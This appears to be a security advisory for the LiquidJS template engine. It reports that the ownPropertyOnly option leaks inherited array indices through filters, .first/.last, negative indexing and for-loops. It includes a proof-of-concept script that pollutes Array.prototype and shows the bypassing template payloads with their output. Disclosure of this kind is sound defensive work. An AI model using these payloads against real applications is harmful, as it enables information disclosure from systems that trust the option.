LiquidJS: ownPropertyOnly bypass for inherited array indices in first/last/join/reverse/slice/compact, `.first`/`.last`, negative index, and for-loop iteration

Summary

LiquidJS’s ownPropertyOnly option is intended to prevent templates from reading inherited or prototype properties from scope data. With ownPropertyOnly: true, direct access such as:

{{ a[0] }}

correctly blocks an inherited array index. However, the same inherited value is still disclosed through:

.first
.last
negative indexing
for-loop iteration
first
last
join
reverse
slice
compact

Impact

This is an information disclosure issue when an application relies on ownPropertyOnly: true to safely render templates over untrusted or prototype-polluted scope data.

Object prototype property reads are blocked as expected, but inherited Array.prototype index reads are not consistently blocked. An attacker who can influence prototype state or inherited array-index data may cause templates to disclose values that ownPropertyOnly is expected to hide.

Proof of concept

const { Liquid } = require("liquidjs");

const engine = new Liquid({ ownPropertyOnly: true });

Array.prototype[0] = "ARRAY_PROTO_POLLUTED";
Object.prototype.secret = "OBJECT_PROTO_POLLUTED";

const a = [];
a.length = 1;

const o = {};

for (const [src, scope] of [
  ["{{ a[0] }}", { a }],
  ["{{ a[-1] }}", { a }],
  ["{{ o.secret }}", { o }],
  ["{{ a.first }}", { a }],
  ["{{ a.last }}", { a }],
  ["{{ a | first }}", { a }],
  ["{{ a | last }}", { a }],
  ["{{ a | join: ',' }}", { a }],
  ["{{ a | reverse | first }}", { a }],
  ["{{ a | slice: 0, 1 | join: ',' }}", { a }],
  ["{{ a | compact | join: ',' }}", { a }],
  ["{% for x in a %}[{{ x }}]{% endfor %}", { a }],
]) {
  console.log(src, "=>", JSON.stringify(engine.parseAndRenderSync(src, scope)));
}

delete Array.prototype[0];
delete Object.prototype.secret;

Observed behavior

{{ a[0] }}                                  => ""
{{ a[-1] }}                                 => "ARRAY_PROTO_POLLUTED"
{{ o.secret }}                              => ""
{{ a.first }}                               => "ARRAY_PROTO_POLLUTED"
{{ a.last }}                                => "ARRAY_PROTO_POLLUTED"
{{ a | first }}                             => "ARRAY_PROTO_POLLUTED"
{{ a | last }}                              => "ARRAY_PROTO_POLLUTED"
{{ a | join: ',' }}                         => "ARRAY_PROTO_POLLUTED"
{{ a | reverse | first }}                   => "ARRAY_PROTO_POLLUTED"
{{ a | slice: 0, 1 | join: ',' }}           => "ARRAY_PROTO_POLLUTED"
{{ a | compact | join: ',' }}               => "ARRAY_PROTO_POLLUTED"
{% for x in a %}[{{ x }}]{% endfor %}       => "[ARRAY_PROTO_POLLUTED]"

Expected behavior

When ownPropertyOnly: true is enabled, inherited array indices should be treated as absent, matching the behavior of:

{{ a[0] }}
{{ o.secret }}

Inherited or prototype-provided array-index values should not be exposed through array filters, array properties, negative indexing, or loop iteration.

Root cause

ownPropertyOnly appears to be enforced in readJSProperty(), but several array-element access paths use raw or native array operations instead.

Examples include:

negative indexing using obj[obj.length + key]
readFirst/readLast using obj[0] / obj[obj.length - 1]
filters such as first, last, join, reverse, slice, and compact operating on arrays through native element reads
for-loop iteration materializing inherited array indices

Because these paths do not consistently check whether an array index is an own property, inherited array indices can be read even when ownPropertyOnly is enabled.